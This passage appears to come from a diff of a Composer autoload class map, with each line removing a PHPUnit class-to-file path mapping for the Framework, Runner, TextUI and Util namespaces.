'PHPUnit\\Framework\\SkippedTest' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/SkippedTest.php', - 'PHPUnit\\Framework\\SkippedTestCase' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/SkippedTestCase.php', - 'PHPUnit\\Framework\\SkippedTestError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/SkippedTestError.php', - 'PHPUnit\\Framework\\SkippedTestSuiteError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/SkippedTestSuiteError.php', - 'PHPUnit\\Framework\\SyntheticError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/SyntheticError.php', - 'PHPUnit\\Framework\\SyntheticSkippedError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/SyntheticSkippedError.php', - 'PHPUnit\\Framework\\Test' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Test.php', - 'PHPUnit\\Framework\\TestBuilder' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/TestBuilder.php', - 'PHPUnit\\Framework\\TestCase' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/TestCase.php', - 'PHPUnit\\Framework\\TestFailure' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/TestFailure.php', - 'PHPUnit\\Framework\\TestListener' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/TestListener.php', - 'PHPUnit\\Framework\\TestListenerDefaultImplementation' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/TestListenerDefaultImplementation.php', - 'PHPUnit\\Framework\\TestResult' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/TestResult.php', - 'PHPUnit\\Framework\\TestSuite' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/TestSuite.php', - 'PHPUnit\\Framework\\TestSuiteIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/TestSuiteIterator.php', - 'PHPUnit\\Framework\\UnintentionallyCoveredCodeError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/UnintentionallyCoveredCodeError.php', - 'PHPUnit\\Framework\\Warning' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/Warning.php', - 'PHPUnit\\Framework\\WarningTestCase' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/WarningTestCase.php', - 'PHPUnit\\Runner\\AfterIncompleteTestHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/AfterIncompleteTestHook.php', - 'PHPUnit\\Runner\\AfterLastTestHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/AfterLastTestHook.php', - 'PHPUnit\\Runner\\AfterRiskyTestHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/AfterRiskyTestHook.php', - 'PHPUnit\\Runner\\AfterSkippedTestHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/AfterSkippedTestHook.php', - 'PHPUnit\\Runner\\AfterSuccessfulTestHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/AfterSuccessfulTestHook.php', - 'PHPUnit\\Runner\\AfterTestErrorHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/AfterTestErrorHook.php', - 'PHPUnit\\Runner\\AfterTestFailureHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/AfterTestFailureHook.php', - 'PHPUnit\\Runner\\AfterTestHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/AfterTestHook.php', - 'PHPUnit\\Runner\\AfterTestWarningHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/AfterTestWarningHook.php', - 'PHPUnit\\Runner\\BaseTestRunner' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/BaseTestRunner.php', - 'PHPUnit\\Runner\\BeforeFirstTestHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/BeforeFirstTestHook.php', - 'PHPUnit\\Runner\\BeforeTestHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/BeforeTestHook.php', - 'PHPUnit\\Runner\\DefaultTestResultCache' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/DefaultTestResultCache.php', - 'PHPUnit\\Runner\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Exception.php', - 'PHPUnit\\Runner\\Extension\\ExtensionHandler' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Extension/ExtensionHandler.php', - 'PHPUnit\\Runner\\Extension\\PharLoader' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Extension/PharLoader.php', - 'PHPUnit\\Runner\\Filter\\ExcludeGroupFilterIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Filter/ExcludeGroupFilterIterator.php', - 'PHPUnit\\Runner\\Filter\\Factory' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Filter/Factory.php', - 'PHPUnit\\Runner\\Filter\\GroupFilterIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Filter/GroupFilterIterator.php', - 'PHPUnit\\Runner\\Filter\\IncludeGroupFilterIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Filter/IncludeGroupFilterIterator.php', - 'PHPUnit\\Runner\\Filter\\NameFilterIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Filter/NameFilterIterator.php', - 'PHPUnit\\Runner\\Hook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/Hook.php', - 'PHPUnit\\Runner\\NullTestResultCache' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/NullTestResultCache.php', - 'PHPUnit\\Runner\\PhptTestCase' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/PhptTestCase.php', - 'PHPUnit\\Runner\\ResultCacheExtension' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/ResultCacheExtension.php', - 'PHPUnit\\Runner\\StandardTestSuiteLoader' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/StandardTestSuiteLoader.php', - 'PHPUnit\\Runner\\TestHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/TestHook.php', - 'PHPUnit\\Runner\\TestListenerAdapter' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/TestListenerAdapter.php', - 'PHPUnit\\Runner\\TestResultCache' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/TestResultCache.php', - 'PHPUnit\\Runner\\TestSuiteLoader' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/TestSuiteLoader.php', - 'PHPUnit\\Runner\\TestSuiteSorter' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/TestSuiteSorter.php', - 'PHPUnit\\Runner\\Version' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Version.php', - 'PHPUnit\\TextUI\\CliArguments\\Builder' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/CliArguments/Builder.php', - 'PHPUnit\\TextUI\\CliArguments\\Configuration' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/CliArguments/Configuration.php', - 'PHPUnit\\TextUI\\CliArguments\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/CliArguments/Exception.php', - 'PHPUnit\\TextUI\\CliArguments\\Mapper' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/CliArguments/Mapper.php', - 'PHPUnit\\TextUI\\Command' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/Command.php', - 'PHPUnit\\TextUI\\DefaultResultPrinter' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/DefaultResultPrinter.php', - 'PHPUnit\\TextUI\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/Exception/Exception.php', - 'PHPUnit\\TextUI\\Help' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/Help.php', - 'PHPUnit\\TextUI\\ReflectionException' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/Exception/ReflectionException.php', - 'PHPUnit\\TextUI\\ResultPrinter' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/ResultPrinter.php', - 'PHPUnit\\TextUI\\RuntimeException' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/Exception/RuntimeException.php', - 'PHPUnit\\TextUI\\TestDirectoryNotFoundException' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/Exception/TestDirectoryNotFoundException.php', - 'PHPUnit\\TextUI\\TestFileNotFoundException' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/Exception/TestFileNotFoundException.php', - 'PHPUnit\\TextUI\\TestRunner' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/TestRunner.php', - 'PHPUnit\\TextUI\\TestSuiteMapper' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/TestSuiteMapper.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\CodeCoverage' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/CodeCoverage.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\FilterMapper' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/FilterMapper.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Filter\\Directory' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/Directory.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Filter\\DirectoryCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/DirectoryCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Filter\\DirectoryCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/DirectoryCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Clover' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Clover.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Cobertura' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Cobertura.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Crap4j' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Crap4j.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Html' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Html.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Php' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Php.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Text' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Text.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Xml' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Xml.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Configuration' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Configuration.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Constant' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Constant.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\ConstantCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/ConstantCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\ConstantCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/ConstantCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\ConvertLogTypes' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/ConvertLogTypes.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageCloverToReport' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageCloverToReport.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageCrap4jToReport' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageCrap4jToReport.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageHtmlToReport' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageHtmlToReport.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CoveragePhpToReport' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoveragePhpToReport.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageTextToReport' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageTextToReport.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageXmlToReport' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageXmlToReport.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Directory' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/Directory.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\DirectoryCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/DirectoryCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\DirectoryCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/DirectoryCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Exception.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Extension' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/Extension.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\ExtensionCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/ExtensionCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\ExtensionCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/ExtensionCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\File' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/File.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\FileCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/FileCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\FileCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/FileCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Generator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Generator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Group' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/Group.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\GroupCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/GroupCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\GroupCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/GroupCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Groups' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/Groups.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\IniSetting' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSetting.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\IniSettingCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSettingCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\IniSettingCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSettingCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\IntroduceCoverageElement' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/IntroduceCoverageElement.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Loader' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Loader.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\LogToReportMigration' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/LogToReportMigration.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\Junit' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Junit.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\Logging' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Logging.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\TeamCity' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TeamCity.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\TestDox\\Html' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Html.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\TestDox\\Text' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Text.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\TestDox\\Xml' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Xml.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\Text' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Text.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Migration' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/Migration.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\MigrationBuilder' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationBuilder.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\MigrationBuilderException' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationBuilderException.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\MigrationException' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationException.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Migrator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\MoveAttributesFromFilterWhitelistToCoverage' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveAttributesFromFilterWhitelistToCoverage.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\MoveAttributesFromRootToCoverage' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveAttributesFromRootToCoverage.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\MoveWhitelistExcludesToCoverage' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveWhitelistExcludesToCoverage.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\MoveWhitelistIncludesToCoverage' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveWhitelistIncludesToCoverage.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\PHPUnit' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/PHPUnit.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Php' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Php.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\PhpHandler' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/PhpHandler.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\RemoveCacheTokensAttribute' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveCacheTokensAttribute.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\RemoveEmptyFilter' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveEmptyFilter.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\RemoveLogTypes' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveLogTypes.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\TestDirectory' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectory.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\TestDirectoryCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectoryCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\TestDirectoryCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectoryCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\TestFile' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFile.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\TestFileCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFileCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\TestFileCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFileCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\TestSuite' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuite.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\TestSuiteCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuiteCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\TestSuiteCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuiteCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\UpdateSchemaLocationTo93' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/UpdateSchemaLocationTo93.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Variable' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Variable.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\VariableCollection' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/VariableCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\VariableCollectionIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/VariableCollectionIterator.php', - 'PHPUnit\\Util\\Annotation\\DocBlock' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Annotation/DocBlock.php', - 'PHPUnit\\Util\\Annotation\\Registry' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Annotation/Registry.php', - 'PHPUnit\\Util\\Blacklist' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Blacklist.php', - 'PHPUnit\\Util\\Cloner' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Cloner.php', - 'PHPUnit\\Util\\Color' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Color.php', - 'PHPUnit\\Util\\ErrorHandler' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/ErrorHandler.php', - 'PHPUnit\\Util\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Exception.php', - 'PHPUnit\\Util\\ExcludeList' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/ExcludeList.php', - 'PHPUnit\\Util\\FileLoader' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/FileLoader.php', - 'PHPUnit\\Util\\Filesystem' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Filesystem.php', - 'PHPUnit\\Util\\Filter' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Filter.php', - 'PHPUnit\\Util\\GlobalState' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/GlobalState.php', - 'PHPUnit\\Util\\InvalidDataSetException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/InvalidDataSetException.php', - 'PHPUnit\\Util\\Json' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Json.php', - 'PHPUnit\\Util\\Log\\JUnit' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Log/JUnit.php', - 'PHPUnit\\Util\\Log\\TeamCity' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Log/TeamCity.php', - 'PHPUnit\\Util\\PHP\\AbstractPhpProcess' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/PHP/AbstractPhpProcess.php', - 'PHPUnit\\Util\\PHP\\DefaultPhpProcess' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/PHP/DefaultPhpProcess.php', - 'PHPUnit\\Util\\PHP\\WindowsPhpProcess' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/PHP/WindowsPhpProcess.php', - 'PHPUnit\\Util\\Printer' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Printer.php', - 'PHPUnit\\Util\\Reflection' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Reflection.php', - 'PHPUnit\\Util\\RegularExpression' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/RegularExpression.php', - 'PHPUnit\\Util\\Test' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Test.php', - 'PHPUnit\\Util\\TestDox\\CliTestDoxPrinter' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/TestDox/CliTestDoxPrinter.php', - 'PHPUnit\\Util\\TestDox\\HtmlResultPrinter' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/TestDox/HtmlResultPrinter.php', - 'PHPUnit\\Util\\TestDox\\NamePrettifier' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/TestDox/NamePrettifier.php', - 'PHPUnit\\Util\\TestDox\\ResultPrinter' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/TestDox/ResultPrinter.php', - 'PHPUnit\\Util\\TestDox\\TestDoxPrinter' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/TestDox/TestDoxPrinter.php', - 'PHPUnit\\Util\\TestDox\\TextResultPrinter' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/TestDox/TextResultPrinter.php', - 'PHPUnit\\Util\\TestDox\\XmlResultPrinter' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/TestDox/XmlResultPrinter.php', - 'PHPUnit\\Util\\TextTestListRenderer' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/TextTestListRenderer.php', - 'PHPUnit\\Util\\Type' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Type.php', - 'PHPUnit\\Util\\VersionComparisonOperator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/VersionComparisonOperator.php', - 'PHPUnit\\Util\\XdebugFilterScriptGenerator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/XdebugFilterScriptGenerator.php', - 'PHPUnit\\Util\\Xml' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml.php', - 'PHPUnit\\Util\\XmlTestListRenderer' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/XmlTestListRenderer.php', - 'PHPUnit\\Util\\Xml\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/Exception.php', - 'PHPUnit\\Util\\Xml\\FailedSchemaDetectionResult' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/FailedSchemaDetectionResult.php', - 'PHPUnit\\Util\\Xml\\Loader' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/Loader.php', - 'PHPUnit\\Util\\Xml\\SchemaDetectionResult' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/SchemaDetectionResult.php', - 'PHPUnit\\Util\\Xml\\SchemaDetector' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/SchemaDetector.php', - 'PHPUnit\\Util\\Xml\\SchemaFinder' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/SchemaFinder.php', - 'PHPUnit\\Util\\Xml\\SnapshotNodeList' => __DIR__ . '/..' . '/phpunit/phpunit/src/Util/Xml/SnapshotNodeList.php', - 'PHPUnit\\Util\\Xml\\SuccessfulSchemaDetectionResult' => __DIR__ . '/..' . 